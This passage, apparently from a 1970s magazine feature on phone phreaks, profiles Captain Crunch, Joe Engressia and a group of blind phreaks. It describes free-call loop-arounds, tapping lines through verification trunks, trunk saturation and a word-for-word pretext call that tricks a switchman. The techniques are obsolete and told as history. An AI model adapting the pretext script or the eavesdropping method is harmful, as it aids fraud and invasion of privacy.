  14749. an engineer who once got in a little trouble for fooling around with the phone,
  14750. but he can't stop.  Well, they guy drives across country in a Volkswagen van
  14751. with an entire switchboard and a computerized super-sophisticated M-F-er in the
  14752. back.  He'll pull up to a phone booth on a lonely highway somewhere, snake a
  14753. cable out of his bus, hook it onto the phone and sit for hours, days sometimes,
  14754. sending calls zipping back and forth across the country, all over the
  14755. world...."
  14756.  
  14757. Back at my motel, I dialed the number he gave me for "Captain Crunch" and asked
  14758. for G---- T-----, his real name, or at least the name he uses when he's not
  14759. dashing into a phone booth beeping out M-F tones faster than a speeding bullet
  14760. and zipping phantomlike through the phone company's long-distance lines.
  14761.  
  14762. When G---- T----- answered the phone and I told him I was preparing a story for
  14763. Esquire about phone phreaks, he became very indignant.
  14764.  
  14765. "I don't do that.  I don't do that anymore at all.  And if I do it, I do it for
  14766. one reason and one reason only.  I'm learning about a system.  The phone
  14767. company is a System.  A computer is a System, do you understand?  If I do what
  14768. I do, it is only to explore a system. Computers, systems, that's my bag.  The
  14769. phone company is nothing but a computer."
  14770.  
  14771. A tone of tightly restrained excitement enters the Captain's voice when he
  14772. starts talking about systems.  He begins to pronounce each syllable with the
  14773. hushed deliberation of an obscene caller.
  14774.  
  14775. "Ma Bell is a system I want to explore.  It's a beautiful system, you know, but
  14776. Ma Bell screwed up.  It's terrible because Ma Bell is such a beautiful system,
  14777. but she screwed up.  I learned how she screwed up from a couple of blind kids
  14778. who wanted me to build a device.  A certain device.  They said it could make
  14779. free calls.  I wasn't interested in free calls.  But when these blind kids told
  14780. me I could make calls into a computer, my eyes lit up.  I wanted to learn about
  14781. computers.  I wanted to learn about Ma Bell's computers.  So I build the little
  14782. device, but I built it wrong and Ma Bell found out.  Ma Bell can detect things
  14783. like that.  Ma Bell knows.  So I'm strictly rid of it now.  I don't do it.
  14784. Except for learning purposes."  He pauses. "So you want to write an article.
  14785. Are you paying for this call?  Hang up and call this number."  He gives me a
  14786. number in a area code a thousand miles away of his own.  I dial the number.
  14787.  
  14788. "Hello again.  This is Captain Crunch.  You are speaking to me on a toll-free
  14789. loop-around in Portland, Oregon.  Do you know what a toll-free loop around is?
  14790. I'll tell you.
  14791.  
  14792. He explains to me that almost every exchange in the country has open test
  14793. numbers which allow other exchanges to test their connections with it.  Most of
  14794. these numbers occur in consecutive pairs, such as 302 956-0041 and 302
  14795. 956-0042.  Well, certain phone phreaks discovered that if two people from
  14796. anywhere in the country dial the two consecutive numbers they can talk together
  14797. just as if one had called the other's number, with no charge to either of them,
  14798. of course.
  14799.  
  14800. "Now our voice is looping around in a 4A switching machine up there in Canada,
  14801. zipping back down to me," the Captain tells me.  "My voice is looping around up
  14802. there and back down to you.  And it can't ever cost anyone money.  The phone
  14803. phreaks and I have compiled a list of many many of these numbers.  You would be
  14804. surprised if you saw the list.  I could show it to you.  But I won't.  I'm out
  14805. of that now.  I'm not out to screw Ma Bell.  I know better.  If I do anything
  14806. it's for the pure knowledge of the System.  You can learn to do fantastic
  14807. things.  Have you ever heard eight tandems stacked up?  Do you know the sound
  14808. of tandems stacking and unstacking?  Give me your phone number.  Okay. Hang up
  14809. now and wait a minute."
  14810.  
  14811. Slightly less than a minute later the phone rang and the Captain was on the
  14812. line, his voice sounding far more excited, almost aroused.
  14813.  
  14814. "I wanted to show you what it's like to stack up tandems.  To stack up
  14815. tandems." (Whenever the Captain says "stack up" it sounds as if he is licking
  14816. his lips.)
  14817.  
  14818. "How do you like the connection you're on now?" the Captain asks me. "It's a
  14819. raw tandem.  A raw tandem.  Ain't nothin' up to it but a tandem.  Now I'm going
  14820. to show you what it's like to stack up.  Blow off.  Land in a far away place.
  14821. To stack that tandem up, whip back and forth across the country a few times,
  14822. then shoot on up to Moscow.
  14823.  
  14824. "Listen," Captain Crunch continues.  "Listen.  I've got line tie on my
  14825. switchboard here, and I'm gonna let you hear me stack and unstack tandems.
  14826. Listen to this.  It's gonna blow your mind."
  14827.  
  14828. First I hear a super rapid-fire pulsing of the flutelike phone tones, then a
  14829. pause, then another popping burst of tones, then another, then another.  Each
  14830. burst is followed by a beep-kachink sound.
  14831.  
  14832. "We have now stacked up four tandems," said Captain Crunch, sounding somewhat
  14833. remote.  "That's four tandems stacked up.  Do you know what that means?  That
  14834. means I'm whipping back and forth, back and forth twice, across the country,
  14835. before coming to you.  I've been known to stack up twenty tandems at a time.
  14836. Now, just like I said, I'm going to shoot up to Moscow."
  14837.  
  14838. There is a new, longer series of beeper pulses over the line, a brief silence,
  14839. then a ring.
  14840.  
  14841. "Hello," answers a far-off voice.
  14842.  
  14843. "Hello.  Is this the American Embassy Moscow?"
  14844.  
  14845. "Yes, sir.  Who is this calling?" says the voice.
  14846.  
  14847. "Yes.  This is test board here in New York.  We're calling to check out the
  14848. circuits, see what kind of lines you've got.  Everything okay there in
  14849. Moscow?"
  14850.  
  14851. "Okay?"
  14852.  
  14853. "Well, yes, how are things there?"
  14854.  
  14855. "Oh.  Well, everything okay, I guess."
  14856.  
  14857. "Okay.  Thank you."
  14858.  
  14859. They hang up, leaving a confused series of beep-kachink sounds hanging in
  14860. mid-ether in the wake of the call before dissolving away.
  14861.  
  14862. The Captain is pleased.  "You believe me now, don't you?  Do you know what I'd
  14863. like to do?  I'd just like to call up your editor at Esquire and show him just
  14864. what it sounds like to stack and unstack tandems. I'll give him a show that
  14865. will blow his mind.  What's his number?
  14866.  
  14867. I ask the Captain what kind of device he was using to accomplish all his feats.
  14868. The Captain is pleased at the question.
  14869.  
  14870. "You could tell it was special, couldn't you?"  Ten pulses per second. That's
  14871. faster than the phone company's equipment.  Believe me, this unit is the most
  14872. famous unit in the country.  There is no other unit like it.  Believe me."
  14873.  
  14874. "Yes, I've heard about it.  Some other phone phreaks have told me about it."
  14875.  
  14876. "They have been referring to my, ahem, unit?  What is it they said? Just out of
  14877. curiosity, did they tell you it was a highly sophisticated computer-operated
  14878. unit, with acoustical coupling for receiving outputs and a switch-board with
  14879. multiple-line-tie capability?  Did they tell you that the frequency tolerance
  14880. is guaranteed to be not more than .05 percent?  The amplitude tolerance less
  14881. than .01 decibel?  Those pulses you heard were perfect.  They just come faster
  14882. than the phone company. Those were high-precision op-amps.  Op-amps are
  14883. instrumentation amplifiers designed for ultra-stable amplification, super-low
  14884. distortion and accurate frequency response.  Did they tell you it can operate
  14885. in temperatures from -55 degrees C to +125 degrees C?"
  14886.  
  14887. I admit that they did not tell me all that.
  14888.  
  14889. "I built it myself," the Captain goes on.  "If you were to go out and buy the
  14890. components from an industrial wholesaler it would cost you at least $1500.  I
  14891. once worked for a semiconductor company and all this didn't cost me a cent.  Do
  14892. you know what I mean?  Did they tell you about how I put a call completely
  14893. around the world?  I'll tell you how I did it.  I M-Fed Tokyo inward, who
  14894. connected me to India, India connected me to Greece, Greece connected me to
  14895. Pretoria, South Africa, South Africa connected me to South America, I went from
  14896. South America to London, I had a London operator connect me to a New York
  14897. operator, I had New York connect me to a California operator who rang the phone
  14898. next to me.  Needless to say I had to shout to hear myself.  But the echo was
  14899. far out.  Fantastic.  Delayed.  It was delayed twenty seconds, but I could hear
  14900. myself talk to myself."
  14901.  
  14902. "You mean you were speaking into the mouthpiece of one phone sending your voice
  14903. around the world into your ear through a phone on the other side of your head?"
  14904. I asked the Captain.  I had a vision of something vaguely autoerotic going on,
  14905. in a complex electronic way.
  14906.  
  14907. "That's right," said the Captain.  "I've also sent my voice around the world
  14908. one way, going east on one phone, and going west on the other, going through
  14909. cable one way, satellite the other, coming back together at the same time,
  14910. ringing the two phones simultaneously and picking them up and whipping my
  14911. voice both ways around the world back to me. Wow.  That was a mind blower."
  14912.  
  14913. "You mean you sit there with both phones on your ear and talk to yourself
  14914. around the world," I said incredulously.
  14915.  
  14916. "Yeah.  Um hum.  That's what I do.  I connect the phone together and sit there
  14917. and talk."
  14918.  
  14919. "What do you say?  What do you say to yourself when you're connected?"
  14920.  
  14921. "Oh, you know.  Hello test one two three," he says in a low-pitched voice.
  14922.  
  14923. "Hello test one two three," he replied to himself in a high-pitched voice.
  14924.  
  14925. "Hello test one two three," he repeats again, low-pitched.
  14926.  
  14927. "Hello test one two three," he replies, high-pitched.
  14928.  
  14929. "I sometimes do this: Hello Hello Hello Hello, Hello, hello," he trails off and
  14930. breaks into laughter.
  14931.  
  14932. Why Captain Crunch Hardly Ever Taps Phones Anymore
  14933.  
  14934. Using internal phone-company codes, phone phreaks have learned a simple method
  14935. for tapping phones.  Phone-company operators have in front of them a board that
  14936. holds verification jacks.  It allows them to plug into conversations in case of
  14937. emergency, to listen in to a line to determine if the line is busy or the
  14938. circuits are busy.  Phone phreaks have learned to beep out the codes which lead
  14939. them to a verification operator, tell the verification operator they are
  14940. switchmen from some other area code testing out verification trunks. Once the
  14941. operator hooks them into the verification trunk, they disappear into the board
  14942. for all practical purposes, slip unnoticed into any one of the 10,000 to
  14943. 100,000 numbers in that central office without the verification operator
  14944. knowing what they're doing, and of course without the two parties to the
  14945. connection knowing there is a phantom listener present on their line.
  14946.  
  14947. Toward the end of my hour-long first conversation with him, I asked the Captain
  14948. if he ever tapped phones.
  14949.  
  14950. "Oh no.  I don't do that.  I don't think it's right," he told me firmly.  "I
  14951. have the power to do it but I don't... Well one time, just one time, I have to
  14952. admit that I did.  There was this girl, Linda, and I wanted to find out... you
  14953. know.  I tried to call her up for a date. I had a date with her the last
  14954. weekend and I thought she liked me.  I called her up, man, and her line was
  14955. busy, and I kept calling and it was still busy.  Well, I had just learned about
  14956. this system of jumping into lines and I said to myself, 'Hmmm.  Why not just
  14957. see if it works. It'll surprise her if all of a sudden I should pop up on her
  14958. line. It'll impress her, if anything.'  So I went ahead and did it.  I M-Fed
  14959. into the line.  My M-F-er is powerful enough when patched directly into the
  14960. mouthpiece to trigger a verification trunk without using an operator the way
  14961. the other phone phreaks have to.
  14962.  
  14963. "I slipped into the line and there she was talking to another boyfriend.
  14964. Making sweet talk to him.  I didn't make a sound because I was so disgusted.
  14965. So I waited there for her to hang up, listening to her making sweet talk to the
  14966. other guy.  You know.  So as soon as she hung up I instantly M-F-ed her up and
  14967. all I said was, 'Linda, we're through.'  And I hung up.  And it blew her head
  14968. off.  She couldn't figure out what the hell happened.
  14969.  
  14970. "But that was the only time.  I did it thinking I would surprise her, impress
  14971. her.  Those were all my intentions were, and well, it really kind of hurt me
  14972. pretty badly, and... and ever since then I don't go into verification trunks."
  14973.  
  14974. Moments later my first conversation with the Captain comes to a close.
  14975.  
  14976. "Listen," he says, his spirits somewhat cheered, "listen.  What you are going
  14977. to hear when I hang up is the sound of tandems unstacking. Layer after layer of
  14978. tandems unstacking until there's nothing left of the stack, until it melts away
  14979. into nothing.  Cheep, cheep, cheep, cheep," he concludes, his voice descending
  14980. to a whisper with each cheep.
  14981.  
  14982. He hangs up.  The phone suddenly goes into four spasms: kachink cheep. Kachink
  14983. cheep kachink cheep kachink cheep, and the complex connection has wiped itself
  14984. out like the Cheshire cat's smile.
  14985.  
  14986. The MF Boogie Blues
  14987.  
  14988. The next number I choose from the select list of phone-phreak alumni, prepared
  14989. for me by the blue-box inventor, is a Memphis number.  It is the number of Joe
  14990. Engressia, the first and still perhaps the most accomplished blind phone
  14991. phreak.
  14992.  
  14993. Three years ago Engressia was a nine-day wonder in newspapers and magazines all
  14994. over America because he had been discovered whistling free long-distance
  14995. connections for fellow students at the University of South Florida.  Engressia
  14996. was born with perfect pitch: he could whistle phone tones better than the
  14997. phone-company's equipment.
  14998.  
  14999. Engressia might have gone on whistling in the dark for a few friends for the
  15000. rest of his life if the phone company hadn't decided to expose him.  He was
  15001. warned, disciplined by the college, and the whole case became public.  In the
  15002. months following media reports of his talent, Engressia began receiving strange
  15003. calls.   There were calls from a group of kids in Los Angeles who could do some
  15004. very strange things with the quirky General Telephone and Electronics circuitry
  15005. in L.A. suburbs.  There were calls from a group of mostly blind kids in ----,
  15006. California, who had been doing some interesting experiments with Cap'n Crunch
  15007. whistles and test loops.  There was a group in Seattle, a group in Cambridge,
  15008. Massachusetts, a few from New York, a few scattered across the country.  Some
  15009. of them had already equipped themselves with cassette and electronic M-F
  15010. devices.  For some of these groups, it was the first time they knew of the
  15011. others.
  15012.  
  15013. The exposure of Engressia was the catalyst that linked the separate
  15014. phone-phreak centers together.  They all called Engressia.  They talked to him
  15015. about what he was doing and what they were doing.  And then he told them -- the
  15016. scattered regional centers and lonely independent phone phreakers -- about each
  15017. other, gave them each other's numbers to call, and within a year the scattered
  15018. phone-phreak centers had grown into a nationwide underground.
  15019.  
  15020. Joe Engressia is only twenty-two years old now, but along the phone-phreak
  15021. network he is "the old man," accorded by phone phreaks something of the
  15022. reverence the phone company bestows on Alexander Graham Bell.  He seldom needs
  15023. to make calls anymore.  The phone phreaks all call him and let him know what
  15024. new tricks, new codes, new techniques they have learned.  Every night he sits
  15025. like a sightless spider in his little apartment receiving messages from every
  15026. tendril of his web.  It is almost a point of pride with Joe that they call
  15027. him.
  15028.  
  15029. But when I reached him in his Memphis apartment that night, Joe Engressia was
  15030. lonely, jumpy and upset.
  15031.  
  15032. "God, I'm glad somebody called.  I don't know why tonight of all nights I don't
  15033. get any calls.  This guy around here got drunk again tonight and propositioned
  15034. me again.  I keep telling him we'll never see eye to eye on this subject, if
  15035. you know what I mean.  I try to make light of it, you know, but he doesn't get
  15036. it.  I can head him out there getting drunker and I don't know what he'll do
  15037. next.  It's just that I'm really all alone here, just moved to Memphis, it's
  15038. the first time I'm living on my own, and I'd hate for it to all collapse now.
  15039. But I won't go to bed with him.  I'm just not very interested in sex and even
  15040. if I can't see him I know he's ugly.
  15041.  
  15042. "Did you hear that?  That's him banging a bottle against the wall outside.
  15043. He's nice.  Well forget about it.  You're doing a story on phone phreaks?
  15044. Listen to this.  It's the MF Boogie Blues.
  15045.  
  15046. Sure enough, a jumpy version of Muskrat Ramble boogies its way over the line,
  15047. each note one of those long-distance phone tones.  The music stops.  A huge
  15048. roaring voice blasts the phone off my ear: "AND THE QUESTION IS..." roars the
  15049. voice, "CAN A BLIND PERSON HOOK UP AN AMPLIFIER ON HIS OWN?"
  15050.  
  15051. The roar ceases.  A high-pitched operator-type voice replaces it. "This is
  15052. Southern Braille Tel. & Tel.  Have tone, will phone."
  15053.  
  15054. This is succeeded by a quick series of M-F tones, a swift "kachink" and a deep
  15055. reassuring voice: "If you need home care, call the visiting-nurses association.
  15056. First National time in Honolulu is 4:32 p.m."
  15057.  
  15058. Joe back in his Joe voice again: "Are we seeing eye to eye? 'Si, si,' said the
  15059. blind Mexican.  Ahem.  Yes.  Would you like to know the weather in Tokyo?"
  15060.  
  15061. This swift manic sequence of phone-phreak vaudeville stunts and blind-boy jokes
  15062. manages to keep Joe's mind off his tormentor only as long as it lasts.
  15063.  
  15064. "The reason I'm in Memphis, the reason I have to depend on that homosexual guy,
  15065. is that this is the first time I've been able to live on my own and make phone
  15066. trips on my own.  I've been banned from all central offices around home in
  15067. Florida, they knew me too well, and at the University some of my fellow
  15068. scholars were always harassing me because I was on the dorm pay phone all the
  15069. time and making fun of me because of my fat ass, which of course I do have,
  15070. it's my physical fatness program, but I don't like to hear it every day, and if
  15071. I can't phone trip and I can't phone phreak, I can't imagine what I'd do, I've
  15072. been devoting three quarters of my life to it.
  15073.  
  15074. "I moved to Memphis because I wanted to be on my own as well as because it has
  15075. a Number 5 crossbar switching system and some interesting little independent
  15076. phone-company districts nearby and so far they don't seem to know who I am so I
  15077. can go on phone tripping, and for me phone tripping is just as important as
  15078. phone phreaking."
  15079.  
  15080. Phone tripping, Joe explains, begins with calling up a central-office switch
  15081. room.  He tells the switchman in a polite earnest voice that he's a blind
  15082. college student interested in telephones, and could he perhaps have a guided
  15083. tour of the switching station?  Each step of the tour Joe likes to touch and
  15084. feel relays, caress switching circuits, switchboards, crossbar arrangements.
  15085.  
  15086. So when Joe Engressia phone phreaks he feels his way through the circuitry of
  15087. the country garden of forking paths, he feels switches shift, relays shunt,
  15088. crossbars swivel, tandems engage and disengage even as he hears -- with perfect
  15089. pitch -- his M-F pulses make the entire Bell system dance to his tune.
  15090.  
  15091. Just one month ago Joe took all his savings out of his bank and left home, over
  15092. the emotional protests of his mother.  "I ran away from home almost," he likes
  15093. to say.  Joe found a small apartment house on Union Avenue and began making
  15094. phone trips.  He'd take a bus a hundred miles south in Mississippi to see some
  15095. old-fashioned Bell equipment still in use in several states, which had been
  15096. puzzling.  He'd take a bus three hundred miles to Charlotte, North Carolina, to
  15097. look at some brand-new experimental equipment.  He hired a taxi to drive him
  15098. twelve miles to a suburb to tour the office of a small phone company with some
  15099. interesting idiosyncrasies in its routing system.  He was having the time of
  15100. his life, he said, the most freedom and pleasure he had known.
  15101.  
  15102. In that month he had done very little long-distance phone phreaking from his
  15103. own phone.  He had begun to apply for a job with the phone company, he told me,
  15104. and he wanted to stay away from anything illegal.
  15105.  
  15106. "Any kind of job will do, anything as menial as the most lowly operator.
  15107. That's probably all they'd give me because I'm blind.  Even though I probably
  15108. know more than most switchmen.  But that's okay.  I want to work for Ma Bell.
  15109. I don't hate Ma Bell the way Gilbertson and some phone phreaks do.  I don't
  15110. want to screw Ma Bell.  With me it's the pleasure of pure knowledge.  There's
  15111. something beautiful about the system when you know it intimately the way I do.
  15112. But I don't know how much they know about me here.  I have a very intuitive
  15113. feel for the condition of the line I'm on, and I think they're monitoring me
  15114. off and on lately, but I haven't been doing much illegal.  I have to make a few
  15115. calls to switchmen once in a while which aren't strictly legal, and once I took
  15116. an acid trip and was having these auditory hallucinations as if I were trapped
  15117. and these planes were dive-bombing me, and all of sudden I had to phone phreak
  15118. out of there.  For some reason I had to call Kansas City, but that's all."
  15119.  
  15120. A Warning Is Delivered
  15121.  
  15122. At this point -- one o'clock in my time zone -- a loud knock on my motel-room
  15123. door interrupts our conversation.  Outside the door I find a uniformed security
  15124. guard who informs me that there has been an "emergency phone call" for me while
  15125. I have been on the line and that the front desk has sent him up to let me
  15126. know.
  15127.  
  15128. Two seconds after I say good-bye to Joe and hang up, the phone rings.
  15129.  
  15130. "Who were you talking to?" the agitated voice demands.  The voice belongs to
  15131. Captain Crunch.  "I called because I decided to warn you of something.  I
  15132. decided to warn you to be careful.  I don't want this information you get to
  15133. get to the radical underground.  I don't want it to get into the wrong hands.
  15134. What would you say if I told you it's possible for three phone phreaks to
  15135. saturate the phone system of the nation.  Saturate it.  Busy it out.  All of
  15136. it.  I know how to do this.  I'm not gonna tell.  A friend of mine has already
  15137. saturated the trunks between Seattle and New York.  He did it with a
  15138. computerized M-F-er hitched into a special Manitoba exchange.  But there are
  15139. other, easier ways to do it."
  15140.  
  15141. Just three people?  I ask.  How is that possible?
  15142.  
  15143. "Have you ever heard of the long-lines guard frequency?  Do you know about
  15144. stacking tandems with 17 and 2600?  Well, I'd advise you to find out about it.
  15145. I'm not gonna tell you.  But whatever you do, don't let this get into the hands
  15146. of the radical underground."
  15147.  
  15148. (Later Gilbertson, the inventor, confessed that while he had always been
  15149. skeptical about the Captain's claim of the sabotage potential of trunk-tying
  15150. phone phreaks, he had recently heard certain demonstrations which convinced him
  15151. the Captain was not speaking idly. "I think it might take more than three
  15152. people, depending on how many machines like Captain Crunch's were available.
  15153. But even though the Captain sounds a little weird, he generally turns out to
  15154. know what he's talking about.")
  15155.  
  15156. "You know," Captain Crunch continues in his admonitory tone, "you know the
  15157. younger phone phreaks call Moscow all the time.  Suppose everybody were to call
  15158. Moscow.  I'm no right-winger.  But I value my life.  I don't want the Commies
  15159. coming over and dropping a bomb on my head. That's why I say you've got to be
  15160. careful about who gets this information."
  15161.  
  15162. The Captain suddenly shifts into a diatribe against those phone phreaks who
  15163. don't like the phone company.
  15164.  
  15165. "They don't understand, but Ma Bell knows everything they do.  Ma Bell knows.
  15166. Listen, is this line hot?  I just heard someone tap in.  I'm not paranoid, but
  15167. I can detect things like that.  Well, even if it is, they know that I know that
  15168. they know that I have a bulk eraser.  I'm very clean."  The Captain pauses,
  15169. evidently torn between wanting to prove to the phone-company monitors that he
  15170. does nothing illegal, and the desire to impress Ma Bell with his prowess.  "Ma
  15171. Bell knows how good I am.  And I am quite good.  I can detect reversals, tandem
  15172. switching, everything that goes on on a line.  I have relative pitch now.  Do
  15173. you know what that means?  My ears are a $20,000 piece of equipment.  With my
  15174. ears I can detect things they can't hear with their equipment.  I've had
  15175. employment problems.  I've lost jobs.  But I want to show Ma Bell how good I
  15176. am.  I don't want to screw her, I want to work for her.  I want to do good for
  15177. her.  I want to help her get rid of her flaws and become perfect.  That's my
  15178. number-one goal in life now."  The Captain concludes his warnings and tells me
  15179. he has to be going.  "I've got a little action lined up for tonight," he
  15180. explains and hangs up.
  15181.  
  15182. Before I hang up for the night, I call Joe Engressia back.  He reports that his
  15183. tormentor has finally gone to sleep -- "He's not blind drunk, that's the way I
  15184. get, ahem, yes; but you might say he's in a drunken stupor."  I make a date to
  15185. visit Joe in Memphis in two days.
  15186.  
  15187. A Phone Phreak Call Takes Care of Business
  15188.  
  15189. The next morning I attend a gathering of four phone phreaks in  ----- (a
  15190. California suburb).  The gathering takes place in a comfortable split-level
  15191. home in an upper-middle-class subdivision.  Heaped on the kitchen table are the
  15192. portable cassette recorders, M-F cassettes, phone patches, and line ties of the
  15193. four phone phreaks present.  On the kitchen counter next to the telephone is a
  15194. shoe-box-size blue box with thirteen large toggle switches for the tones.  The
  15195. parents of the host phone phreak, Ralph, who is blind, stay in the living room
  15196. with their sighted children.  They are not sure exactly what Ralph and his
  15197. friends do with the phone or if it's strictly legal, but he is blind and they
  15198. are pleased he has a hobby which keeps him busy.
  15199.  
  15200. The group has been working at reestablishing the historic "2111" conference,
  15201. reopening some toll-free loops, and trying to discover the dimensions of what
  15202. seem to be new initiatives against phone phreaks by phone-company security
  15203. agents.
  15204.  
  15205. It is not long before I get a chance to see, to hear, Randy at work. Randy is
  15206. known among the phone phreaks as perhaps the finest con man in the game.  Randy
  15207. is blind.  He is pale, soft and pear-shaped, he wears baggy pants and a wrinkly
  15208. nylon white sport shirt, pushes his head forward from hunched shoulders
  15209. somewhat like a turtle inching out of its shell.  His eyes wander, crossing and
  15210. recrossing, and his forehead is somewhat pimply.  He is only sixteen years
  15211. old.
  15212.  
  15213. But when Randy starts speaking into a telephone mouthpiece his voice becomes so
  15214. stunningly authoritative it is necessary to look again to convince yourself it
  15215. comes from a chubby adolescent Randy.  Imagine the voice of a crack oil-rig
  15216. foreman, a tough, sharp, weather-beaten Marlboro man of forty.  Imagine the
  15217. voice of a brilliant performance-fund gunslinger explaining how he beats the
  15218. Dow Jones by thirty percent.  Then imagine a voice that could make those two
  15219. sound like Stepin Fetchit.  That is sixteen-year-old Randy's voice.
  15220.  
  15221. He is speaking to a switchman in Detroit.  The phone company in Detroit had
  15222. closed up two toll-free loop pairs for no apparent reason, although heavy use
  15223. by phone phreaks all over the country may have been detected.  Randy is telling
  15224. the switchman how to open up the loop and make it free again:
  15225.  
  15226. "How are you, buddy.  Yeah. I'm on the board in here in Tulsa, Oklahoma, and
  15227. we've been trying to run some tests on your loop-arounds and we find'em busied
  15228. out on both sides.... Yeah, we've been getting a 'BY' on them, what d'ya say,
  15229. can you drop cards on 'em?  Do you have 08 on your number group?  Oh that's
  15230. okay, we've had this trouble before, we may have to go after the circuit.  Here
  15231. lemme give 'em to you: your frame is 05, vertical group 03, horizontal 5,
  15232. vertical file 3.  Yeah, we'll hang on here.... Okay, found it?  Good.  Right,
  15233. yeah, we'd like to clear that busy out.  Right.  All you have to do is look for
  15234. your key on the mounting plate, it's in your miscellaneous trunk frame.  Okay?
  15235. Right.  Now pull your key from NOR over the LCT.  Yeah. I don't know why that
  15236. happened, but we've been having trouble with that one.  Okay.  Thanks a lot
  15237. fella.  Be seein' ya."
  15238.  
  15239. Randy hangs up, reports that the switchman was a little inexperienced with the
  15240. loop-around circuits on the miscellaneous trunk frame, but that the loop has
  15241. been returned to its free-call status.
  15242.  
  15243. Delighted, phone phreak Ed returns the pair of numbers to the active-status
  15244. column in his directory.  Ed is a superb and painstaking researcher.  With
  15245. almost Talmudic thoroughness he will trace tendrils of hints through soft-wired
  15246. mazes of intervening phone-company circuitry back through complex linkages of
  15247. switching relays to find the location and identity of just one toll-free loop.
  15248. He spends hours and hours, every day, doing this sort of thing.  He has somehow
  15249. compiled a directory of eight hundred "Band-six in-WATS numbers" located in
  15250. over forty states.  Band-six in-WATS numbers are the big 800 numbers -- the
  15251. ones that can be dialed into free from anywhere in the country.
  15252.  
  15253. Ed the researcher, a nineteen-year-old engineering student, is also a superb
  15254. technician.  He put together his own working blue box from scratch at age
  15255. seventeen.  (He is sighted.)  This evening after distributing the latest issue
  15256. of his in-WATS directory (which has been typed into Braille for the blind phone
  15257. phreaks), he announces he has made a major new breakthrough:
  15258.  
  15259. "I finally tested it and it works, perfectly. I've got this switching matrix
  15260. which converts any touch-tone phone into an M-F-er."
  15261.  
  15262. The tones you hear in touch-tone phones are not the M-F tones that operate the
  15263. long-distance switching system.  Phone phreaks believe A.T.&T. had deliberately
  15264. equipped touch tones with a  different set of frequencies to avoid putting the
  15265. six master M-F tones in the hands of every touch-tone owner.  Ed's complex
  15266. switching matrix puts the six master tones, in effect put a blue box, in the
  15267. hands of every touch-tone owner.
  15268.  
  15269. Ed shows me pages of schematics, specifications and parts lists. "It's not easy
  15270. to build, but everything here is in the Heathkit catalog."
  15271.  
  15272. Ed asks Ralph what progress he has made in his attempts to reestablish a
  15273. long-term open conference line for phone phreaks.  The last big conference --
  15274. the historic "2111" conference -- had been arranged through an unused Telex
  15275. test-board trunk somewhere in the innards of a 4A switching machine in
  15276. Vancouver, Canada.  For months phone phreaks could M-F their way into
  15277. Vancouver, beep out 604 (the Vancouver area code) and then beep out 2111 (the
  15278. internal phone-company code for Telex testing), and find themselves at any
  15279. time, day or night, on an open wire talking with an array of phone phreaks from
  15280. coast to coast, operators from Bermuda, Tokyo and London who are phone-phreak
  15281. sympathizers, and miscellaneous guests and technical experts.  The conference
  15282. was a massive exchange of information.  Phone phreaks picked each other's
  15283. brains clean, then developed new ways to pick the phone company's brains clean.
  15284. Ralph gave M F Boogies concerts with his home-entertainment-type electric
  15285. organ, Captain Crunch demonstrated his round-the-world prowess with his
  15286. notorious computerized unit and dropped leering hints of the "action" he was
  15287. getting with his girl friends.  (The Captain lives out or pretends to live out
  15288. several kinds of fantasies to the gossipy delight of the blind phone phreaks
  15289. who urge him on to further triumphs on behalf of all of them.)  The somewhat
  15290. rowdy Northwest phone-phreak crowd let their bitter internal feud spill over
  15291. into the peaceable conference line, escalating shortly into guerrilla warfare;
  15292. Carl the East Coast international tone relations expert demonstrated newly
  15293. opened direct M-F routes to central offices on the island of Bahrein in the
  15294. Persian Gulf, introduced a new phone-phreak friend of his in Pretoria, and
  15295. explained the technical operation of the new Oakland-to Vietnam linkages.
  15296. (Many phone phreaks pick up spending money by M-F-ing calls from relatives to
  15297. Vietnam G.I.'s, charging $5 for a whole hour of trans-Pacific conversation.)
  15298.  
  15299. Day and night the conference line was never dead.  Blind phone phreaks all over
  15300. the country, lonely and isolated in homes filled with active sighted brothers
  15301. and sisters, or trapped with slow and unimaginative blind kids in straitjacket
  15302. schools for the blind, knew that no matter how late it got they could dial up
  15303. the conference and find instant electronic communion with two or three other
  15304. blind kids awake over on the other side of America.  Talking together on a
  15305. phone hookup, the blind phone phreaks say, is not much different from being
  15306. there together. Physically, there was nothing more than a two-inch-square wafer
  15307. of titanium inside a vast machine on Vancouver Island.  For the blind kids
  15308. >there< meant an exhilarating feeling of being in touch, through a kind of
  15309. skill and magic which was peculiarly their own.
  15310.  
  15311. Last April 1, however, the long Vancouver Conference was shut off. The phone
  15312. phreaks knew it was coming.  Vancouver was in the process of converting from a
  15313. step-by-step system to a 4A machine and the 2111 Telex circuit was to be wiped
  15314. out in the process.  The phone phreaks learned the actual day on which the
  15315. conference would be erased about a week ahead of time over the phone company's
  15316. internal-news-and-shop-talk recording.
  15317.  
  15318. For the next frantic seven days every phone phreak in America was on and off
  15319. the 2111 conference twenty-four hours a day.  Phone phreaks who were just
  15320. learning the game or didn't have M-F capability were boosted up to the
  15321. conference by more experienced phreaks so they could get a glimpse of what it
  15322. was like before it disappeared.  Top phone phreaks searched distant area codes
  15323. for new conference possibilities without success.  Finally in the early morning
  15324. of April 1, the end came.
  15325.  
  15326. "I could feel it coming a couple hours before midnight," Ralph remembers.  "You
  15327. could feel something going on in the lines.  Some static began showing up, then
  15328. some whistling wheezing sound.  Then there were breaks.  Some people got cut
  15329. off and called right back in, but after a while some people were finding they
  15330. were cut off and couldn't get back in at all.  It was terrible.  I lost it
  15331. about one a.m., but managed to slip in again and stay on until the thing
  15332. died... I think it was about four in the morning.  There were four of us still
  15333. hanging on when the conference disappeared into nowhere for good.  We all tried
  15334. to M-F up to it again of course, but we got silent termination.  There was
  15335. nothing there."
  15336.  
  15337. The Legendary Mark Bernay Turns Out To Be "The Midnight Skulker"
  15338.  
  15339. Mark Bernay.  I had come across that name before.  It was on Gilbertson's
  15340. select list of phone phreaks.  The California phone phreaks had spoken of a
  15341. mysterious Mark Bernay as perhaps the first and oldest phone phreak on the West
  15342. Coast.  And in fact almost every phone phreak in the West can trace his origins
  15343. either directly to Mark Bernay or to a disciple of Mark Bernay.
  15344.  
  15345. It seems that five years ago this Mark Bernay (a pseudonym he chose for
  15346. himself) began traveling up and down the West Coast pasting tiny stickers in
  15347. phone books all along his way.  The stickers read something like "Want to hear
  15348. an interesting tape recording? Call these numbers."  The numbers that followed
  15349. were toll-free loop-around pairs. When one of the curious called one of the
  15350. numbers he would hear a tape recording pre-hooked into the loop by Bernay which
  15351. explained the use of loop-around pairs, gave the numbers of several more, and
  15352. ended by telling the caller, "At six o'clock tonight this recording will stop
  15353. and you and your friends can try it out.  Have fun."
  15354.  
